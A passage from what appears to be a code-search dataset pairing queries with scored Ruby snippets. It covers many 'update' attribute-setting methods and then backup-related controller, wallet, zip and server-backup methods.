"c3b6fccdeb696de5e9dbc38a9486b742", "score": "0.65386343", "text": "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end", "title": "" }, { "docid": "bb403006cc5423d9b1820fe684a7c5a5", "score": "0.65178275", "text": "def update\n # TODO: implement update\n end", "title": "" }, { "docid": "1ee90e4f66e82aec13076a98b288a2d1", "score": "0.6394807", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end", "title": "" }, { "docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5", "score": "0.6389745", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "title": "" }, { "docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5", "score": "0.6389745", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "title": "" }, { "docid": "3f85752da065340d4ca70ce879a3b23d", "score": "0.63328", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "title": "" }, { "docid": "da63345424fc9aecef032928485bd149", "score": "0.6319025", "text": "def update\n \n end", "title": "" }, { "docid": "5a8e82caac01cee661bc875a5b0cf723", "score": "0.6283673", "text": "def refresh\n set_attributes\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "7a41bc9d5a07220fb8626d1fa90d2d79", "score": "0.62639254", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "title": "" }, { "docid": "29c22ae2290ffca9b9682a5f20f48103", "score": "0.62410724", "text": "def update_resource object, attributes\n object.update attributes\n end", "title": "" }, { "docid": "91dc386ff8fa066852510a5d62b13078", "score": "0.62170374", "text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "6249943d1eeff63f8f611fcf73254058", "score": "0.62152076", "text": "def update\n \n end", "title": "" }, { "docid": "1c12f310aca206a2cefff8c291007668", "score": "0.6210263", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "title": "" }, { "docid": "1c0316f22c6db917fa4719767b5326a9", "score": "0.6204041", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "title": "" }, { "docid": "1c0316f22c6db917fa4719767b5326a9", "score": "0.6204041", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "title": "" }, { "docid": "85a79fb5c3cc199e689344861658b09b", "score": "0.62021106", "text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "title": "" }, { "docid": "5d229ea224b1dfa7ac9ce6808ca63fc4", "score": "0.62017816", "text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "title": "" }, { "docid": "549a7eef6c18558dea47a8e8d72df295", "score": "0.62017", "text": "def update\n @objects.map(&:update);\n end", "title": "" }, { "docid": "e1f766468b11768b786daa133483b157", "score": "0.61730784", "text": "def update\n raise NotImplementedError\n end", "title": "" }, { "docid": "e1f766468b11768b786daa133483b157", "score": "0.61730784", "text": "def update\n raise NotImplementedError\n end", "title": "" }, { "docid": "b76d372399abbb21b748df3ae7b06470", "score": "0.6159277", "text": "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end", "title": "" }, { "docid": "01219537b43bd1cf8341e0f00e27d4c8", "score": "0.6156169", "text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "title": "" }, { "docid": "147d62c4df79ff1ca86cbd477112bf7f", "score": "0.61445665", "text": "def update\n end", "title": "" }, { "docid": "f3dea89f306804c3f2aa813c06584d06", "score": "0.6125433", "text": "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "title": "" }, { "docid": "44756fd86dd095556580199f7e78936f", "score": "0.61241156", "text": "def modified_properties=(value)\n @modified_properties = value\n end", "title": "" }, { "docid": "593de84fa9950baa68153e4fa9b6e17c", "score": "0.6121413", "text": "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "title": "" }, { "docid": "ea25adea5b43c27e6c84f27ad88c3d9f", "score": "0.6110477", "text": "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end", "title": "" }, { "docid": "147138a710a0ff53e9288ae66341894f", "score": "0.6105694", "text": "def update\n\t\t\n\t\tend", "title": "" }, { "docid": "7b1d2242b1a6bd8d3cad29be97783a80", "score": "0.61016303", "text": "def set_props(props)\n @props.merge!(props)\n end", "title": "" }, { "docid": "cb2162d3a1fd3434effd12aa702f250f", "score": "0.60845226", "text": "def update() end", "title": "" }, { "docid": "231370ed2400d22825eba2b5b69e7a67", "score": "0.6084427", "text": "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "title": "" }, { "docid": "86ff97cc222b987bff78c1152a1c8ee1", "score": "0.6065455", "text": "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "title": "" }, { "docid": "0f6ea4c54f9bc18020c08410f67289cd", "score": "0.6059506", "text": "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end", "title": "" }, { "docid": "453da6bb915596261c5b82f2d17cabf8", "score": "0.6054869", "text": "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "title": "" }, { "docid": "52a81d6eb0fed16fe2a23be3d9ebc264", "score": "0.6051708", "text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "title": "" }, { "docid": "52a81d6eb0fed16fe2a23be3d9ebc264", "score": "0.6051708", "text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "title": "" }, { "docid": "874639781ed80ae451fbdd6ebbef2218", "score": "0.60413384", "text": "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end", "title": "" }, { "docid": "d175f5bedd91a8daf191cad42b04dc0c", "score": "0.6030853", "text": "def update_attributes(attrs)\n super({})\n end", "title": "" }, { "docid": "b8d1a7cd8f443ee5f30b5085aadff479", "score": "0.6022535", "text": "def update\n @dirty = true\n end", "title": "" }, { "docid": "d7d62f9c97f629ef8c88e56d3d1ce8ee", "score": "0.6015561", "text": "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "title": "" }, { "docid": "71750bae7e3d6bdde2b60ec30e70949a", "score": "0.59932375", "text": "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end", "title": "" }, { "docid": "73fe9bc31bfeeab4d84483e2fa65cbbb", "score": "0.59898263", "text": "def update\n super\n end", "title": "" }, { "docid": "a98ac99e6e5115383e9148202286ff9e", "score": "0.5976479", "text": "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "title": "" }, { "docid": "fb14f35e7fab31199053a7b87ef451a4", "score": "0.5973787", "text": "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end", "title": "" }, { "docid": "6441b3fa93c3dfd974c66a975adb9d9c", "score": "0.59678394", "text": "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end", "title": "" }, { "docid": "51a59f953548d1eff10532bdffdd8df9", "score": "0.5963291", "text": "def properties=(value)\n @properties = value\n end", "title": "" }, { "docid": "e7a3d5504fcc6e382b06845ede0d5fd8", "score": "0.5962048", "text": "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end", "title": "" }, { "docid": "c7a2880c3da02b3708afc43c48d37f2e", "score": "0.5961157", "text": "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5950731", "text": "def update; end", "title": "" }, { "docid": "5ca2caa1a207739e77f437de35e41cf1", "score": "0.59500545", "text": "def update ; end", "title": "" }, { "docid": "a20f534093aba7e3633ca0ac07a56d53", "score": "0.59443134", "text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "title": "" }, { "docid": "a20f534093aba7e3633ca0ac07a56d53", "score": "0.59443134", "text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "title": "" }, { "docid": "2c309c8084bf29f0b8d8674d22086956", "score": "0.59424853", "text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "title": "" }, { "docid": "2c309c8084bf29f0b8d8674d22086956", "score": "0.59424853", "text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "title": "" }, { "docid": "879f1214e030bb2d9e43a0aedb1bc3ea", "score": "0.593523", "text": "def update_with(attributes)\n assign_attributes(attributes)\n end", "title": "" }, { "docid": "10b1cb39dbb1f67820e37bb6d2632986", "score": "0.5926413", "text": "def update\n # don't need to update; hash is shared\n end", "title": "" }, { "docid": "51982942bd4f09be3f7adc59da4cf104", "score": "0.5924831", "text": "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end", "title": "" }, { "docid": "f0dd489c52fa73b1c3846fa43727c29e", "score": "0.592427", "text": "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end", "title": "" }, { "docid": "4229acd17d03e94871226b09dd3bd37d", "score": "0.59233046", "text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "title": "" }, { "docid": "4229acd17d03e94871226b09dd3bd37d", "score": "0.59233046", "text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "title": "" }, { "docid": "32ed734ad4f899f0ee9ec74a760ca1d0", "score": "0.5921224", "text": "def update\n raise NotImplementedError\n end", "title": "" }, { "docid": "900f4c147e0916b2e9270373fb83c7e2", "score": "0.59144294", "text": "def update_attributes attributes\n @attributes.merge! attributes\n end", "title": "" }, { "docid": "f63de190ae582620103d96f60d684114", "score": "0.59142506", "text": "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end", "title": "" }, { "docid": "512d9095b05a696270730ee09c640773", "score": "0.58887535", "text": "def update\r\n end", "title": "" }, { "docid": "5b1f6d40d29f0afb908434d0a6404ac8", "score": "0.58854496", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "efcb8c985b9e7911a606a9149b4ab171", "score": "0.5883008", "text": "def update\n raise NotImplemented\n end", "title": "" }, { "docid": "65f67197ac4544cbebca350d889922ee", "score": "0.58792305", "text": "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end", "title": "" }, { "docid": "c71a8be944fb89ab77a17fd4c16f7193", "score": "0.5876954", "text": "def update_values\n end", "title": "" }, { "docid": "c71a8be944fb89ab77a17fd4c16f7193", "score": "0.5876954", "text": "def update_values\n end", "title": "" }, { "docid": "10e162e857be9c47150e8eccd327cad9", "score": "0.58744955", "text": "def update\n raise NotImplementedError\n end", "title": "" }, { "docid": "389ac4585e8143f353e2535499a23085", "score": "0.5857968", "text": "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end", "title": "" }, { "docid": "c202a823016f05ee2fc4aade77320497", "score": "0.5845542", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end", "title": "" }, { "docid": "dc268f568dcb7aca1d3905736d2477af", "score": "0.5841629", "text": "def update attributes, collection #:nodoc:\n 0\n end", "title": "" }, { "docid": "9763ac25d7fdf4b4f35a971609f70b04", "score": "0.58363605", "text": "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end", "title": "" }, { "docid": "541550458a4c8f94afeb6b10c0cb2293", "score": "0.5829255", "text": "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end", "title": "" }, { "docid": "49a282f2ce0c099a5ced60524a492b4f", "score": "0.582919", "text": "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end", "title": "" }, { "docid": "f6c4eafa4f48a0c81157fb03ff350901", "score": "0.5822138", "text": "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end", "title": "" }, { "docid": "524a6a969929f9af4bad05dbd9c8f935", "score": "0.58208305", "text": "def update\n set_deltatime\n set_last_update_at\n end", "title": "" } ]
e78da1cbc56bdb4d09f72862422d188b
GET /backup def backup end POST /generate_backup
[ { "docid": "9b24519b6c84e0d6e2242d5d5d7fd42c", "score": "0.6912226", "text": "def generate_backup\n if Export.launch_export!\n current_user.update(\n last_backup_at: Time.zone.now,\n last_backup_entry_id: current_user.last_entry_id\n )\n redirect_to backup_succeeded_path\n else\n redirect_to backup_failed_path\n end\n end", "title": "" } ]
[ { "docid": "bc6b5490a0d830c9e9248fb983559285", "score": "0.7160548", "text": "def backup_wallet\n client.make_request('/backup-wallet', 'post', params: {})\n end", "title": "" }, { "docid": "a5f782d5ff669a4ce06ad6427d07d9a8", "score": "0.6996519", "text": "def cmd_backup argv\n setup argv\n command = @hash['command']\n name = @hash['name']\n response = @api.backup(command, name)\n msg response\n return response\n end", "title": "" }, { "docid": "2380aabfb0da16f45de4ab464e03610b", "score": "0.697848", "text": "def system_backup\n\n\n end", "title": "" }, { "docid": "21eef59fa3ca7a3cef78085d61e2dbb5", "score": "0.6977541", "text": "def backupwallet(destination)\n request(:backupwallet, destination)\n end", "title": "" }, { "docid": "488816961cd2ca8f0ef0ca813ef89644", "score": "0.68865484", "text": "def backupwallet(destination)\n @api.request 'backupwallet', destination\n end", "title": "" }, { "docid": "7c9f9410c8658542b3daaaad8e6d6f6f", "score": "0.67735803", "text": "def create\n @backup = Backup.new(params[:backup])\n\n respond_to do |format|\n if @backup.save\n flash[:notice] = 'Backup was successfully created.'\n format.html { redirect_to(@backup) }\n format.xml { render :xml => @backup, :status => :created, :location => @backup }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @backup.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d73934cca89610b466a47fe71715177", "score": "0.6687378", "text": "def bms_backup_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnfsApi.bms_backup ...'\n end\n # resource path\n local_var_path = '/bms/1.0.0/backup'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'backuprequest'])\n auth_names = ['oAuth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Backup')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnfsApi#bms_backup\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "5a3f8d797af306cadd19b8a09ccd6876", "score": "0.66806626", "text": "def make_backup\n print_title('Data backup')\n\n @backup_type ||= prompt.select('What type of backup do you want?',\n 'Full (redmine root and database)' => :full,\n 'Only database' => :database,\n 'Nothing' => :nothing)\n\n logger.info(\"Backup type: #{@backup_type}\")\n\n # Dangerous option\n if @backup_type == :nothing\n if prompt.yes?('Are you sure you dont want backup?', default: false)\n logger.info('Backup option nothing was confirmed')\n return\n else\n @backup_type = nil\n return make_backup\n end\n end\n\n @backup_root ||= prompt.ask('Where to save backup:', required: true, default: DEFAULT_BACKUP_ROOT)\n @backup_root = File.expand_path(@backup_root)\n\n @backup_dir = File.join(@backup_root, Time.now.strftime('backup_%d%m%Y_%H%M%S'))\n create_dir(@backup_dir)\n\n files_to_backup = []\n Dir.chdir(root) do\n case @backup_type\n when :full\n files_to_backup = Dir.glob(File.join('**', '{*,.*}'))\n end\n end\n\n if files_to_backup.any?\n files_to_backup.delete_if do |path|\n path.start_with?(*BACKUP_EXCLUDE_FILES)\n end\n\n @backup_package = File.join(@backup_dir, 'redmine.zip')\n\n Dir.chdir(root) do\n puts\n puts 'Files backuping'\n Zip::File.open(@backup_package, Zip::File::CREATE) do |zipfile|\n progressbar = TTY::ProgressBar.new(PROGRESSBAR_FORMAT, total: files_to_backup.size, frequency: 2, clear: true)\n\n files_to_backup.each do |entry|\n zipfile.add(entry, entry)\n progressbar.advance(1)\n end\n\n progressbar.finish\n end\n end\n\n puts \"Files backed up on #{@backup_package}\"\n logger.info('Files backed up')\n end\n\n @database = Database.init(self)\n @database.make_backup(@backup_dir)\n\n puts \"Database backed up on #{@database.backup}\"\n logger.info('Database backed up')\n end", "title": "" }, { "docid": "76c6134f889b9863466f6250330d5137", "score": "0.66524833", "text": "def create_backup\n @slice = Xen::Slice.find(params[:id])\n @slice.create_backup\n\n respond_to do |format|\n format.html { redirect_to slice_path(@slice.name)}\n format.xml { render :xml => @backups }\n end\n end", "title": "" }, { "docid": "84cdcc7e1238bc0bfbf2c818633884c3", "score": "0.6544933", "text": "def createBackup\n fetch(\"#{@backupUrl}\", 3000)\n $LOG.info(\"#{@name} : Backupfile created\") \n sleep 120\n end", "title": "" }, { "docid": "88f431130e64b464ebc796537d3592b9", "score": "0.64617133", "text": "def create\n @backup = Backup.new(backup_params)\n @backup = @client.backups.build(backup_params)\n \n respond_to do |format|\n if @backup.save\n #format.html { redirect_to [@client, @backup], notice: 'Backup was successfully created.' }\n format.html { redirect_to [@client, @backup], notice: 'Backup was successfully created.' }\n format.json { render :show, status: :created, location: @backup }\n else\n format.html { render :new }\n format.json { render json: @backup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e751d5cb813f9dbc5f69c882e368a3f2", "score": "0.64174485", "text": "def backup(id)\n server = @connection.servers.get(id)\n ssh(server,'~/backup.sh')\n server.scp_download('backup/current.tar.gz','backup.tar.gz')\n end", "title": "" }, { "docid": "c508d313e14e67c50a5d1c72b16aa389", "score": "0.6412878", "text": "def backup_file\n \"#{@file}.bak\"\n end", "title": "" }, { "docid": "78b796ebaba7537185e2eeb9c8fe203f", "score": "0.6409217", "text": "def frontend_backup(gear)\n app = gear.application\n args = Hash.new\n args['--with-container-uuid']=gear.uuid\n args['--with-container-name']=gear.name\n args['--with-namespace']=app.domain_namespace\n result = execute_direct(@@C_CONTROLLER, 'frontend-backup', args)\n result = parse_result(result)\n result.resultIO.string\n end", "title": "" }, { "docid": "0eb28addb8e0c67444b1ab76da126e73", "score": "0.6373063", "text": "def bms_backup(opts = {})\n data, _status_code, _headers = bms_backup_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "3367b4885285d156d3779c6131485bb6", "score": "0.6280851", "text": "def backup_file\n \"#{options[:file]}.bak\"\n end", "title": "" }, { "docid": "89ee704e228e3c7b4338d47067599449", "score": "0.62536395", "text": "def backupwallet(destination)\n coind.backupwallet destination\n end", "title": "" }, { "docid": "aadcac9ca30f1bc049ed1fd920010bcf", "score": "0.6250678", "text": "def set_backup\n @backup = Backup.find(params[:id])\n end", "title": "" }, { "docid": "1ba6409563b894aea322539f1c3cfb15", "score": "0.6230015", "text": "def backup\n #EternosBackup::BackupJobPublisher.add_source(self)\n end", "title": "" }, { "docid": "47edf15139bc08aae39ccdb1707e70fc", "score": "0.62258905", "text": "def create_and_copy_backup(backup_options = nil,backup_name = nil)\n\n end", "title": "" }, { "docid": "75b2e161653984eef24f1777f9e87447", "score": "0.6205163", "text": "def backup\n self.keep_backup && !File.exists?( backup_path ) && FileUtils.cp( self.resource.path, backup_path )\n end", "title": "" }, { "docid": "e5c5d2ed641f35f7dea882e3293684cf", "score": "0.61997926", "text": "def create\n @backup = current_user.backups.build(backup_params)\n @backup.user = current_user\n\n respond_to do |format|\n if @backup.save\n format.html { redirect_to backups_path, notice: 'Backup was successfully created.' }\n format.json { render action: 'show', status: :created, location: @backup }\n else\n format.html { render action: 'new' }\n format.json { render json: 